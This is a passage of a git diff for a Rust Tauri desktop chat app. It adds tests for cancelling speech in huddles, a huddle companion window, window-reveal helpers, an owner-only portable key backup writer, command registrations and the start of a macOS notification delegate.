+        assert_eq!(
+            cancellation.lock().expect("cancellation").as_deref(),
+            Some("alice")
+        );
+
+        active_speaker.lock().expect("active speaker").take();
+        cancellation.lock().expect("cancellation").take();
+        assert!(!request_active_speaker_cancel(
+            &generations,
+            &active_speaker,
+            &cancellation,
+            &playback_probe(true),
+            "alice",
+        ));
+
+        let next_utterance =
+            queued_speech("alice", current_speaker_generation(&generations, "alice"));
+        assert!(queued_speaker_is_current(&generations, &next_utterance));
+        assert!(cancellation.lock().expect("cancellation").is_none());
+    }
+
+    #[test]
+    fn stop_request_does_not_cancel_a_different_active_speaker() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let active_speaker = Arc::new(Mutex::new(Some("bob".to_string())));
+        let cancellation = Arc::new(Mutex::new(None));
+
+        assert!(!request_active_speaker_cancel(
+            &generations,
+            &active_speaker,
+            &cancellation,
+            &playback_probe(true),
+            "alice",
+        ));
+        assert_eq!(current_speaker_generation(&generations, "alice"), 0);
+        assert_eq!(current_speaker_generation(&generations, "bob"), 0);
+        assert!(cancellation.lock().expect("cancellation").is_none());
+        assert_eq!(
+            active_speaker.lock().expect("active speaker").as_deref(),
+            Some("bob"),
+        );
+    }
+
+    #[test]
+    fn stop_request_during_empty_synthesis_gap_cancels_in_flight_speech() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let active_speaker = Arc::new(Mutex::new(Some("alice".to_string())));
+        let cancellation = Arc::new(Mutex::new(None));
+        let next_chunk = queued_speech("alice", 0);
+        let probe = playback_probe(false);
+        let _synthesis_flight = probe.begin_synthesis();
+
+        assert!(request_active_speaker_cancel(
+            &generations,
+            &active_speaker,
+            &cancellation,
+            &probe,
+            "alice",
+        ));
+
+        assert_eq!(current_speaker_generation(&generations, "alice"), 1);
+        assert!(!queued_speaker_is_current(&generations, &next_chunk));
+        assert_eq!(
+            cancellation.lock().expect("cancellation").as_deref(),
+            Some("alice"),
+        );
+    }
+
+    #[test]
+    fn repeated_stop_for_same_in_flight_utterance_is_idempotent() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let active_speaker = Arc::new(Mutex::new(Some("alice".to_string())));
+        let cancellation = Arc::new(Mutex::new(None));
+        let probe = playback_probe(false);
+        let _synthesis_flight = probe.begin_synthesis();
+
+        assert!(request_active_speaker_cancel(
+            &generations,
+            &active_speaker,
+            &cancellation,
+            &probe,
+            "alice",
+        ));
+        let speech_queued_after_first_stop = queued_speech("alice", 1);
+
+        assert!(!request_active_speaker_cancel(
+            &generations,
+            &active_speaker,
+            &cancellation,
+            &probe,
+            "alice",
+        ));
+
+        assert_eq!(current_speaker_generation(&generations, "alice"), 1);
+        assert!(queued_speaker_is_current(
+            &generations,
+            &speech_queued_after_first_stop,
+        ));
+        assert_eq!(
+            cancellation.lock().expect("cancellation").as_deref(),
+            Some("alice"),
+        );
+    }
+
+    #[test]
+    fn stop_request_after_playback_drains_preserves_queued_speech() {
+        let generations = Arc::new(Mutex::new(HashMap::new()));
+        let active_speaker = Arc::new(Mutex::new(Some("alice".to_string())));
+        let cancellation = Arc::new(Mutex::new(None));
+        let next_utterance = queued_speech("alice", 0);
+
+        assert!(!request_active_speaker_cancel(
+            &generations,
+            &active_speaker,
+            &cancellation,
+            &playback_probe(false),
+            "alice",
+        ));
+
+        assert_eq!(current_speaker_generation(&generations, "alice"), 0);
+        assert!(queued_speaker_is_current(&generations, &next_utterance));
+        assert!(cancellation.lock().expect("cancellation").is_none());
+        assert_eq!(
+            active_speaker.lock().expect("active speaker").as_deref(),
+            Some("alice"),
+        );
+    }
+}
diff --git a/desktop/src-tauri/src/huddle/window.rs b/desktop/src-tauri/src/huddle/window.rs
new file mode 100644
index 0000000000..cb3cfc8bfd
--- /dev/null
+++ b/desktop/src-tauri/src/huddle/window.rs
@@ -0,0 +1,67 @@
+//! Native companion-window lifecycle for an active Huddle.
+
+use tauri::{Emitter, Manager, State, WebviewUrl, WebviewWindowBuilder};
+
+use crate::app_state::AppState;
+
+/// Close the companion belonging to an ended huddle. The native lifecycle is
+/// authoritative here because a webview can be suspended while it is closing.
+pub(super) fn close_huddle_window(app: &tauri::AppHandle, ephemeral_channel_id: &str) {
+    if ephemeral_channel_id.is_empty() {
+        return;
+    }
+    let label = format!("huddle-{ephemeral_channel_id}");
+    if let Some(window) = app.get_webview_window(&label) {
+        if let Err(error) = window.close() {
+            eprintln!("buzz-desktop: failed to close huddle companion: {error}");
+        }
+    }
+}
+
+/// Close the active companion without leaving the huddle. The main window uses
+/// this to restore its drawer presentation while retaining the audio session.
+#[tauri::command]
+pub fn close_huddle_companion(
+    app: tauri::AppHandle,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    let ephemeral_channel_id = state
+        .huddle()?
+        .ephemeral_channel_id
+        .clone()
+        .ok_or("no active huddle")?;
+    close_huddle_window(&app, &ephemeral_channel_id);
+    app.emit("huddle-companion-returned", ())
+        .map_err(|error| error.to_string())?;
+    Ok(())
+}
+
+/// Open the active huddle's ephemeral channel in a focused companion window.
+/// The main window remains the owner of microphone capture; closing this room
+/// must never leave the shared huddle session.
+#[tauri::command]
+pub async fn open_huddle_window(
+    app: tauri::AppHandle,
+    state: State<'_, AppState>,
+) -> Result<(), String> {
+    let ephemeral_channel_id = state
+        .huddle()?
+        .ephemeral_channel_id
+        .clone()
+        .ok_or("no active huddle")?;
+    let label = format!("huddle-{ephemeral_channel_id}");
+
+    if let Some(window) = app.get_webview_window(&label) {
+        window.show().map_err(|error| error.to_string())?;
+        window.set_focus().map_err(|error| error.to_string())?;
+        return Ok(());
+    }
+
+    WebviewWindowBuilder::new(&app, label, WebviewUrl::App("index.html".into()))
+        .title("Huddle")
+        .inner_size(960.0, 720.0)
+        .min_inner_size(720.0, 520.0)
+        .build()
+        .map_err(|error| error.to_string())?;
+    Ok(())
+}
diff --git a/desktop/src-tauri/src/initial_window.rs b/desktop/src-tauri/src/initial_window.rs
new file mode 100644
index 0000000000..b124551512
--- /dev/null
+++ b/desktop/src-tauri/src/initial_window.rs
@@ -0,0 +1,67 @@
+//! First-frame window reveal helpers.
+
+#[cfg(target_os = "macos")]
+pub(crate) const INITIAL_RENDER_READY_EVENT: &str = "initial-render-ready";
+
+pub(crate) fn reveal_initial_window<R: tauri::Runtime>(window: &tauri::Window<R>) {
+    if let Err(error) = window.show() {
+        eprintln!("buzz-desktop: failed to reveal main window: {error}");
+        return;
+    }
+    if let Err(error) = window.set_focus() {
+        eprintln!("buzz-desktop: failed to focus main window: {error}");
+    }
+}
+
+#[cfg(target_os = "macos")]
+pub(crate) fn set_initial_window_backing<R: tauri::Runtime>(window: &tauri::Window<R>) {
+    // The window remains transparent at runtime for vibrancy. Use an opaque
+    // native backing only across the first visible frames so the previous app
+    // cannot show through before WebKit has submitted its first surface.
+    if let Err(error) = window.set_background_color(Some(tauri::window::Color(17, 21, 24, 255))) {
+        eprintln!("buzz-desktop: failed to set initial window backing: {error}");
+    }
+}
+
+#[cfg(target_os = "macos")]
+pub(crate) async fn clear_initial_window_backing<R: tauri::Runtime>(window: &tauri::Window<R>) {
+    tokio::time::sleep(std::time::Duration::from_millis(250)).await;
+    if let Err(error) = window.set_background_color(None) {
+        eprintln!("buzz-desktop: failed to clear initial window backing: {error}");
+    }
+}
+
+#[cfg(target_os = "macos")]
+pub(crate) async fn wait_for_stable_initial_window_geometry<R: tauri::Runtime>(
+    window: &tauri::Window<R>,
+) {
+    const MAX_POLLS: usize = 120;
+    const REQUIRED_STABLE_POLLS: usize = 4;
+
+    let mut previous_bounds = None;
+    let mut stable_polls = 0;
+
+    for _ in 0..MAX_POLLS {
+        // Accept whatever geometry the window-state plugin restores — maximized
+        // or a normal saved size. macOS applies the restore asynchronously, so
+        // consecutive identical outer bounds are enough to know it settled.
+        let bounds = match (window.outer_position(), window.outer_size()) {
+            (Ok(position), Ok(size)) => Some((position.x, position.y, size.width, size.height)),
+            _ => None,
+        };
+
+        if bounds.is_some() && bounds == previous_bounds {
+            stable_polls += 1;
+            if stable_polls >= REQUIRED_STABLE_POLLS {
+                return;
+            }
+        } else {
+            stable_polls = 0;
+        }
+        previous_bounds = bounds;
+
+        tokio::time::sleep(std::time::Duration::from_millis(16)).await;
+    }
+
+    eprintln!("buzz-desktop: initial window geometry did not settle before reveal timeout");
+}
diff --git a/desktop/src-tauri/src/key_backup.rs b/desktop/src-tauri/src/key_backup.rs
index 21e9011acd..9b9379bb2e 100644
--- a/desktop/src-tauri/src/key_backup.rs
+++ b/desktop/src-tauri/src/key_backup.rs
@@ -133,9 +133,14 @@ pub fn backup_file_path(data_dir: &std::path::Path) -> std::path::PathBuf {
     data_dir.join(BACKUP_FILE_NAME)
 }
 
-/// Atomically write `ncryptsec` to `path` with owner-only permissions, then
-/// reread and byte-compare. Same crash-safety pattern as
+/// Atomically write the app-managed `ncryptsec` backup with owner-only
+/// permissions, then reread and byte-compare. Same crash-safety pattern as
 /// `app_state::save_key_file`.
+///
+/// Portable exports selected through a native save panel must use
+/// [`write_portable_backup_file`] instead: sandboxed macOS grants access to the
+/// selected path, but not to the sibling temporary file this writer needs.
+#[allow(dead_code)] // Retained for durable app-managed backups; portable exports must not use it.
 pub fn write_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> {
     use atomic_write_file::AtomicWriteFile;
     use std::io::Write;
@@ -155,6 +160,56 @@ pub fn write_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(),
     file.commit()
         .map_err(|e| format!("commit backup file: {e}"))?;
 
+    verify_backup_file(path, ncryptsec)
+}
+
+/// Write a user-selected portable backup without creating a sibling file.
+///
+/// Native macOS save panels authorize the exact selected path in protected
+/// folders such as Downloads, not an atomic writer's hidden sibling. Opening
+/// with `create_new` uses only that authorized path and also guarantees an
+/// existing backup is never truncated: users must choose a new filename when
+/// the destination already exists. After writing, the file is synced and its
+/// persisted bytes are reread before success is reported.
+pub fn write_portable_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> {
+    use std::io::Write;
+
+    let mut options = std::fs::OpenOptions::new();
+    options.write(true).create_new(true);
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::OpenOptionsExt;
+        options.mode(0o600);
+    }
+
+    let mut file = options.open(path).map_err(|error| {
+        if error.kind() == std::io::ErrorKind::AlreadyExists {
+            "backup file already exists; choose a new filename so the existing backup stays safe"
+                .to_string()
+        } else {
+            format!("create portable backup file: {error}")
+        }
+    })?;
+
+    let write_result = file
+        .write_all(ncryptsec.as_bytes())
+        .map_err(|e| format!("write portable backup file: {e}"))
+        .and_then(|()| {
+            file.sync_all()
+                .map_err(|e| format!("sync portable backup file: {e}"))
+        });
+    drop(file);
+
+    let result = write_result.and_then(|()| verify_backup_file(path, ncryptsec));
+    if result.is_err() {
+        // This function created the destination exclusively, so cleanup cannot
+        // clobber a backup that existed before the save attempt.
+        let _ = std::fs::remove_file(path);
+    }
+    result
+}
+
+fn verify_backup_file(path: &std::path::Path, ncryptsec: &str) -> Result<(), String> {
     // Reread and byte-compare: only report success for bytes that are
     // actually on disk.
     let on_disk = std::fs::read_to_string(path).map_err(|e| format!("reread backup file: {e}"))?;
diff --git a/desktop/src-tauri/src/key_backup_tests.rs b/desktop/src-tauri/src/key_backup_tests.rs
index 18a930e0aa..ac7a114ab1 100644
--- a/desktop/src-tauri/src/key_backup_tests.rs
+++ b/desktop/src-tauri/src/key_backup_tests.rs
@@ -160,6 +160,45 @@ fn write_backup_file_overwrites_atomically() {
     assert_eq!(entries, vec![std::ffi::OsString::from(BACKUP_FILE_NAME)]);
 }
 
+#[test]
+fn write_portable_backup_file_persists_0600_without_a_sibling() {
+    let dir = tempfile::tempdir().unwrap();
+    let path = dir.path().join("portable.ncryptsec");
+    write_portable_backup_file(&path, SPEC_NCRYPTSEC).unwrap();
+
+    assert_eq!(std::fs::read_to_string(&path).unwrap(), SPEC_NCRYPTSEC);
+    let entries: Vec<_> = std::fs::read_dir(dir.path())
+        .unwrap()
+        .map(|entry| entry.unwrap().file_name())
+        .collect();
+    assert_eq!(
+        entries,
+        vec![std::ffi::OsString::from("portable.ncryptsec")]
+    );
+
+    #[cfg(unix)]
+    {
+        use std::os::unix::fs::PermissionsExt;
+        let mode = std::fs::metadata(&path).unwrap().permissions().mode();
+        assert_eq!(mode & 0o777, 0o600, "portable backup must be owner-only");
+    }
+}
+
+#[test]
+fn write_portable_backup_file_preserves_an_existing_backup() {
+    let dir = tempfile::tempdir().unwrap();
+    let path = dir.path().join("portable.ncryptsec");
+    std::fs::write(&path, "ncryptsec1existing").unwrap();
+
+    let error = write_portable_backup_file(&path, SPEC_NCRYPTSEC).unwrap_err();
+
+    assert!(error.contains("already exists"), "{error}");
+    assert_eq!(
+        std::fs::read_to_string(&path).unwrap(),
+        "ncryptsec1existing"
+    );
+}
+
 #[test]
 fn delete_backup_file_is_idempotent() {
     let dir = tempfile::tempdir().unwrap();
@@ -240,12 +279,16 @@ fn generated_phrases_never_hide_a_word_boundary() {
 
 #[test]
 fn generated_passphrase_clamps_word_count() {
+    // Use a separator that cannot appear in the EFF wordlist so a generated
+    // word such as "yo-yo" cannot be mistaken for two words.
+    const SEPARATOR: &str = "|";
+
     // Below the floor: clamped up to MIN_PASSPHRASE_WORDS, never shorter.
-    let phrase = generate_passphrase(1, "-").unwrap();
-    assert_eq!(phrase.split('-').count(), MIN_PASSPHRASE_WORDS);
+    let phrase = generate_passphrase(1, SEPARATOR).unwrap();
+    assert_eq!(phrase.split(SEPARATOR).count(), MIN_PASSPHRASE_WORDS);
     // Above the ceiling: clamped down to MAX_PASSPHRASE_WORDS.
-    let phrase = generate_passphrase(50, "-").unwrap();
-    assert_eq!(phrase.split('-').count(), MAX_PASSPHRASE_WORDS);
+    let phrase = generate_passphrase(50, SEPARATOR).unwrap();
+    assert_eq!(phrase.split(SEPARATOR).count(), MAX_PASSPHRASE_WORDS);
 }
 
 #[test]
diff --git a/desktop/src-tauri/src/lib.rs b/desktop/src-tauri/src/lib.rs
index ee2a98f5c1..2847b87877 100644
--- a/desktop/src-tauri/src/lib.rs
+++ b/desktop/src-tauri/src/lib.rs
@@ -1,4 +1,5 @@
 #![recursion_limit = "256"] // Deep Tauri command futures exceed the default layout query depth.
+mod app_menu;
 mod app_state;
 mod archive;
 mod builderlab;
@@ -9,8 +10,11 @@ mod event_sync;
 mod events;
 mod huddle;
 mod identity_storage;
+mod initial_window;
 mod key_backup;
 mod linux_media;
+#[cfg(target_os = "macos")]
+mod macos_notifications;
 mod managed_agents;
 mod media_proxy;
 #[cfg(feature = "mesh-llm")]
@@ -32,6 +36,9 @@ mod reset;
 mod secret_store;
 mod shutdown;
 mod templates;
+mod terminal_runtime;
+#[cfg_attr(not(test), allow(dead_code))]
+mod terminal_transport;
 #[cfg(target_os = "macos")]
 mod tray_menu;
 mod util;
@@ -49,11 +56,14 @@ use huddle::audio_output::{
 };
 use huddle::reconnect::reconnect_huddle_audio;
 use huddle::{
-    add_agent_to_huddle, check_pipeline_hotstart, confirm_huddle_active, download_voice_models,
-    end_huddle, get_huddle_agent_pubkeys, get_huddle_state, get_model_status, get_voice_input_mode,
-    join_huddle, leave_huddle, push_audio_pcm, set_huddle_transcription_enabled, set_tts_enabled,
-    set_voice_input_mode, speak_agent_message, start_huddle, start_stt_pipeline,
+    add_agent_to_huddle, check_pipeline_hotstart, close_huddle_companion, confirm_huddle_active,
+    download_voice_models, end_huddle, get_huddle_agent_pubkeys, get_huddle_state,
+    get_model_status, get_voice_input_mode, interrupt_huddle_speech, join_huddle, leave_huddle,
+    open_huddle_window, push_audio_pcm, remove_agent_from_huddle, set_huddle_manual_mic_unmuted,
+    set_huddle_transcription_enabled, set_tts_enabled, set_voice_input_mode, speak_agent_message,
+    start_huddle, start_stt_pipeline, HuddlePhase,
 };
+use initial_window::*;
 use managed_agents::{
     backfill_persona_snapshots, ensure_nest, list_managed_agent_runtimes,
     put_managed_agent_runtime_lifecycle, reconcile_managed_agent_runtimes,
@@ -65,84 +75,14 @@ use mesh_llm_stubs::*;
 #[cfg(all(feature = "mesh-llm", target_os = "macos"))]
 use shutdown::{hard_exit_after_mesh_shutdown, relaunch_after_mesh_shutdown};
 use shutdown::{is_restart_request, shut_down_app};
-use std::sync::{
-    atomic::{AtomicBool, Ordering},
-    Arc,
-};
-use tauri::{Emitter, Manager, RunEvent};
+use std::sync::{atomic::AtomicBool, atomic::Ordering, Arc};
 #[cfg(target_os = "macos")]
-use tauri::{Listener, WindowEvent};
+use tauri::Listener;
+use tauri::{Emitter, Manager, RunEvent, WindowEvent};
 use tauri_plugin_window_state::StateFlags;
 #[cfg(target_os = "macos")]
 use tray_menu::show_main_window;
 
-#[cfg(target_os = "macos")]
-const INITIAL_RENDER_READY_EVENT: &str = "initial-render-ready";
-
-fn reveal_initial_window<R: tauri::Runtime>(window: &tauri::Window<R>) {
-    if let Err(error) = window.show() {
-        eprintln!("buzz-desktop: failed to reveal main window: {error}");
-        return;
-    }
-    if let Err(error) = window.set_focus() {
-        eprintln!("buzz-desktop: failed to focus main window: {error}");
-    }
-}
-
-#[cfg(target_os = "macos")]
-fn set_initial_window_backing<R: tauri::Runtime>(window: &tauri::Window<R>) {
-    // The window remains transparent at runtime for vibrancy. Use an opaque
-    // native backing only across the first visible frames so the previous app
-    // cannot show through before WebKit has submitted its first surface.
-    if let Err(error) = window.set_background_color(Some(tauri::window::Color(17, 21, 24, 255))) {
-        eprintln!("buzz-desktop: failed to set initial window backing: {error}");
-    }
-}
-
-#[cfg(target_os = "macos")]
-async fn clear_initial_window_backing<R: tauri::Runtime>(window: &tauri::Window<R>) {
-    tokio::time::sleep(std::time::Duration::from_millis(250)).await;
-    if let Err(error) = window.set_background_color(None) {
-        eprintln!("buzz-desktop: failed to clear initial window backing: {error}");
-    }
-}
-
-#[cfg(target_os = "macos")]
-async fn wait_for_stable_initial_window_geometry<R: tauri::Runtime>(window: &tauri::Window<R>) {
-    const MAX_POLLS: usize = 120;
-    const REQUIRED_STABLE_POLLS: usize = 4;
-
-    let mut previous_bounds = None;
-    let mut stable_polls = 0;
-
-    for _ in 0..MAX_POLLS {
-        // Accept whatever geometry the window-state plugin restores — maximized
-        // or a normal saved size. macOS applies the restore asynchronously, so
-        // we only need consecutive identical outer bounds to know it settled.
-        // Gating on `is_maximized()` here would leave `bounds` permanently
-        // `None` for restored non-maximized windows and stall the reveal until
-        // the poll timeout.
-        let bounds = match (window.outer_position(), window.outer_size()) {
-            (Ok(position), Ok(size)) => Some((position.x, position.y, size.width, size.height)),
-            _ => None,
-        };
-
-        if bounds.is_some() && bounds == previous_bounds {
-            stable_polls += 1;
-            if stable_polls >= REQUIRED_STABLE_POLLS {
-                return;
-            }
-        } else {
-            stable_polls = 0;
-        }
-        previous_bounds = bounds;
-
-        tokio::time::sleep(std::time::Duration::from_millis(16)).await;
-    }
-
-    eprintln!("buzz-desktop: initial window geometry did not settle before reveal timeout");
-}
-
 #[cfg_attr(mobile, tauri::mobile_entry_point)]
 pub fn run() {
     // mesh-llm's async chains (model download, node start/join) overflow
@@ -172,7 +112,6 @@ pub fn run() {
             eprintln!("buzz-mesh: failed to build big-stack tokio runtime, using default: {error}");
         }
     }
-
     let builder = tauri::Builder::default()
         .plugin(tauri_plugin_single_instance::init(|app, argv, _cwd| {
             // Focus the existing window when a duplicate instance launches.
@@ -354,10 +293,7 @@ pub fn run() {
         builder.plugin(tauri_plugin_updater::Builder::new().build())
     };
 
-    #[cfg(not(buzz_updater_enabled))]
-    let builder = builder;
-
-    let app = builder
+    let app = app_menu::install(builder)
         .register_asynchronous_uri_scheme_protocol("buzz-media", |ctx, request, responder| {
             let app = ctx.app_handle().clone();
             tauri::async_runtime::spawn(async move {
@@ -371,10 +307,14 @@ pub fn run() {
         .manage(BuilderlabSession::default())
         .manage(BuilderlabLogin::default())
         .manage(commands::pairing::PairingHandle::new())
+        .manage(terminal_runtime::TerminalSessions::default())
         .setup(move |app| {
             let app_handle = app.handle().clone();
             #[cfg(target_os = "macos")]
-            tray_menu::init(&app_handle)?;
+            {
+                tray_menu::init(&app_handle)?;
+                macos_notifications::init(&app_handle)?;
+            }
 
             // ── Phase 2: boot-time sentinel wipe ──────────────────────────────
             // Must run before migrations and identity resolution so the wipe
@@ -467,6 +407,18 @@ pub fn run() {
                 *guard = Some(app_handle.clone());
             }
 
+            let (tts_settings, tts_settings_load_error) =
+                huddle::tts_settings::load_for_app(&app_handle);
+            if let Ok(mut guard) = state.huddle_audio.tts.lock() {
+                *guard = tts_settings.clone();
+            }
+            if let Ok(mut guard) = state.huddle_audio.tts_load_error.lock() {
+                *guard = tts_settings_load_error;
+            }
+            if let Ok(mut huddle) = state.huddle_state.lock() {
+                huddle.tts_enabled = tts_settings.agent_text_to_speech;
+            }
+
             // Bring up the runtime-owned shared-compute coordinator before
             // saved agents are restored. Its lifetime is tied to the app, not
             // a UI mount; it publishes discovery and reconciles membership for
@@ -650,10 +602,18 @@ pub fn run() {
                     }
                 });
             }
-
             Ok(())
         })
         .invoke_handler(tauri::generate_handler![
+            terminal_runtime::terminal_attach,
+            terminal_runtime::terminal_detach,
+            terminal_runtime::terminal_close,
+            terminal_runtime::terminal_input,
+            terminal_runtime::terminal_resize,
+            terminal_runtime::terminal_scroll,
+            terminal_runtime::terminal_ack,
+            terminal_runtime::terminal_viewport_ready,
+            terminal_runtime::terminal_focus,
             take_pending_community_deep_link,
             acknowledge_pending_community_deep_link,
             start_builderlab_login,
@@ -765,16 +725,25 @@ pub fn run() {
             remove_reaction,
             get_event,
             show_native_notification,
+            #[cfg(target_os = "macos")]
+            macos_notifications::take_pending_activations,
+            #[cfg(target_os = "macos")]
+            macos_notifications::notification_permission_state,
+            #[cfg(target_os = "macos")]
+            macos_notifications::request_notification_access,
             upload_media,
             pick_and_upload_media,
             pick_and_upload_image,
             upload_media_bytes,
+            upload_media_bytes_raw,
+            cancel_media_upload,
             download_image,
             save_png_data_url,
             download_file,
             fetch_media_bytes,
             copy_image_to_clipboard,
             copy_text_to_clipboard,
+            read_clipboard_text,
             fetch_snapshot_bytes,
             relay_requires_membership,
             list_relay_members,
@@ -805,6 +774,7 @@ pub fn run() {
             get_managed_agent_log,
             get_agent_models,
             discover_agent_models,
+            agent_access_owner_only,
             get_agent_config_surface,
             get_runtime_file_config,
             get_baked_build_env_keys,
@@ -839,6 +809,12 @@ pub fn run() {
             update_team,
             delete_team,
             export_agent_snapshot,
+            card_mint_key_status,
+            card_mint_save_openai_key,
+            mint_agent_card,
+            save_agent_card,
+            list_agent_cards,
+            load_agent_card,
             preview_agent_snapshot_import,
             confirm_agent_snapshot_import,
             encode_agent_snapshot_for_send,
@@ -870,6 +846,8 @@ pub fn run() {
             leave_huddle,
             end_huddle,
             get_huddle_state,
+            close_huddle_companion,
+            open_huddle_window,
             push_audio_pcm,
             reconnect_huddle_audio,
             start_stt_pipeline,
@@ -877,14 +855,27 @@ pub fn run() {
             download_voice_models,
             get_model_status,
             set_tts_enabled,
+            huddle::tts_settings::get_tts_settings,
+            huddle::tts_settings::list_voice_registry,
+            huddle::tts_settings::set_pocket_voice,
+            huddle::tts_settings::preview_pocket_voice,
+            huddle::tts_settings::import_pocket_voice,
+            huddle::tts_settings::delete_pocket_voice,
+            huddle::agent_voice::ensure_huddle_agent_voice_settings,
+            huddle::agent_voice::set_huddle_agent_tts_enabled,
+            huddle::agent_voice::set_huddle_agent_voice,
             speak_agent_message,
+            interrupt_huddle_speech,
             add_agent_to_huddle,
+            remove_agent_from_huddle,
+            huddle::agents::sync_agents_to_active_huddle,
             check_pipeline_hotstart,
             confirm_huddle_active,
             perform_sidebar_default_haptic,
             get_huddle_agent_pubkeys,
             set_voice_input_mode,
             get_voice_input_mode,
+            set_huddle_manual_mic_unmuted,
             list_audio_output_devices,
             set_audio_output_device,
             get_audio_output_device,
@@ -925,7 +916,6 @@ pub fn run() {
         ])
         .build(tauri::generate_context!())
         .expect("error while building tauri application");
-
     let shutdown_done = Arc::new(AtomicBool::new(false));
 
     #[cfg(unix)]
@@ -950,6 +940,29 @@ pub fn run() {
                 }
             }
         }
+        RunEvent::WindowEvent {
+            label,
+            event: WindowEvent::CloseRequested { .. },
+            ..
+        } if label.starts_with("huddle-") => {
+            let is_active_huddle_window =
+                app_handle
+                    .state::<AppState>()
+                    .huddle()
+                    .ok()
+                    .is_some_and(|huddle| {
+                        !matches!(huddle.phase, HuddlePhase::Idle | HuddlePhase::Leaving)
+                            && huddle
+                                .ephemeral_channel_id
+                                .as_deref()
+                                .is_some_and(|channel_id| label == format!("huddle-{channel_id}"))
+                    });
+            if is_active_huddle_window {
+                if let Err(error) = app_handle.emit("huddle-companion-returned", ()) {
+                    eprintln!("buzz-desktop: failed to restore huddle drawer: {error}");
+                }
+            }
+        }
         RunEvent::ExitRequested { code, .. } => {
             if is_restart_request(code) {
                 restart_requested.store(true, Ordering::SeqCst);
diff --git a/desktop/src-tauri/src/macos_notifications.rs b/desktop/src-tauri/src/macos_notifications.rs
new file mode 100644
index 0000000000..5bcedd8975
--- /dev/null
+++ b/desktop/src-tauri/src/macos_notifications.rs
@@ -0,0 +1,422 @@
+//! Modern macOS notification delivery and activation routing.
+//!
+//! Apple delivers every notification response through one process-wide
+//! `UNUserNotificationCenterDelegate`. The delegate is installed once during
+//! app setup and retained for the process lifetime. Notification targets live
+//! in `userInfo`, so there are no per-notification listeners, waiter threads,
+//! or request maps to leak when Notification Center clears a notification.
+
+use std::{
+    collections::VecDeque,
+    path::Path,
+    ptr::NonNull,
+    sync::{mpsc, Mutex, OnceLock},
+    time::Duration,
+};
+
+use block2::{Block, RcBlock};
+use objc2::{
+    define_class, msg_send,
+    rc::Retained,
+    runtime::{AnyObject, Bool, ProtocolObject},
+    AnyThread, DefinedClass,
+};
+use objc2_foundation::{NSBundle, NSDictionary, NSError, NSObject, NSObjectProtocol, NSString};
+use objc2_user_notifications::{
+    UNAuthorizationOptions, UNAuthorizationStatus, UNMutableNotificationContent,
+    UNNotificationDefaultActionIdentifier, UNNotificationPresentationOptions,
+    UNNotificationRequest, UNNotificationResponse, UNNotificationSettings,
+    UNUserNotificationCenter, UNUserNotificationCenterDelegate,
+};
+use tauri::{AppHandle, Emitter};
+
+use crate::commands::NATIVE_NOTIFICATION_ACTIVATED_EVENT;
+
+const TARGET_USER_INFO_KEY: &str = "buzzNotificationTarget";
+const MAX_PENDING_ACTIVATIONS: usize = 64;
+
+#[derive(Clone, Copy, Debug, PartialEq, Eq, serde::Serialize)]
+#[serde(rename_all = "lowercase")]
+pub(crate) enum NotificationPermissionState {
+    Default,
+    Denied,
+    Granted,
+}
+
+fn permission_state(status: UNAuthorizationStatus) -> NotificationPermissionState {
+    match status {
+        UNAuthorizationStatus::Denied => NotificationPermissionState::Denied,
+        UNAuthorizationStatus::Authorized
+        | UNAuthorizationStatus::Provisional
+        | UNAuthorizationStatus::Ephemeral => NotificationPermissionState::Granted,
+        _ => NotificationPermissionState::Default,
+    }
+}
+
+static PENDING_ACTIVATIONS: OnceLock<Mutex<VecDeque<serde_json::Value>>> = OnceLock::new();
+
+struct NotificationDelegateIvars {
+    app: AppHandle,
+}
+
+define_class!(
+    // SAFETY: NSObject permits AnyThread subclasses, and AppHandle is Send +
+    // Sync. Apple does not guarantee a queue for notification delegate calls;
+    // both Tauri operations used by the callbacks are thread-safe.
+    #[unsafe(super(NSObject))]
+    #[name = "BuzzNotificationCenterDelegate"]
+    #[thread_kind = AnyThread]
+    #[ivars = NotificationDelegateIvars]
+    struct NotificationDelegate;
+
+    unsafe impl NSObjectProtocol for NotificationDelegate {}
+
+    unsafe impl UNUserNotificationCenterDelegate for NotificationDelegate {
+        #[unsafe(method(userNotificationCenter:willPresentNotification:withCompletionHandler:))]
+        fn will_present_notification(
+            &self,
+            _center: &UNUserNotificationCenter,
+            _notification: &objc2_user_notifications::UNNotification,
+            completion_handler: &Block<dyn Fn(UNNotificationPresentationOptions)>,
+        ) {
+            // Preserve the prior macOS behavior: keep foreground notifications
+            // in Notification Center without interrupting the user with a banner.
+            completion_handler.call((UNNotificationPresentationOptions::List,));
+        }
+
+        #[unsafe(method(userNotificationCenter:didReceiveNotificationResponse:withCompletionHandler:))]
+        fn did_receive_notification_response(
+            &self,
+            _center: &UNUserNotificationCenter,
+            response: &UNNotificationResponse,
+            completion_handler: &Block<dyn Fn()>,
+        ) {
+            if &*response.actionIdentifier() == unsafe { UNNotificationDefaultActionIdentifier } {
+                if let Some(target) = target_from_response(response) {
+                    queue_activation(target);
+                    crate::tray_menu::show_main_window(&self.ivars().app);
+                    if let Err(error) = self
+                        .ivars()
+                        .app
+                        .emit(NATIVE_NOTIFICATION_ACTIVATED_EVENT, ())
+                    {
+                        eprintln!(
+                            "buzz-desktop: failed to emit macOS notification activation: {error}"
+                        );
+                    }
+                }
+            }
+
+            // Apple requires this for every response, including dismissals and
+            // malformed notifications that Buzz intentionally ignores.
+            completion_handler.call(());
+        }
+    }
+);
+
+impl NotificationDelegate {
+    fn new(app: AppHandle) -> Retained<Self> {
+        let delegate = Self::alloc().set_ivars(NotificationDelegateIvars { app });
+        unsafe { msg_send![super(delegate), init] }
+    }
+}
+
+/// Install the one application-lifetime notification response delegate.
+pub(crate) fn init(app: &AppHandle) -> tauri::Result<()> {
+    if !is_bundled_application() {
+        // UNUserNotificationCenter raises an Objective-C exception when the
+        // current process has no application bundle (notably `tauri dev`).
+        // objc2 cannot turn that exception into a Rust error, so do not call
+        // into the framework at all in this environment.
+        eprintln!(
+            "buzz-desktop: macOS notifications disabled because the process is not running from an app bundle"
+        );
+        return Ok(());
+    }
+
+    let center = UNUserNotificationCenter::currentNotificationCenter();
+    let delegate = NotificationDelegate::new(app.clone());
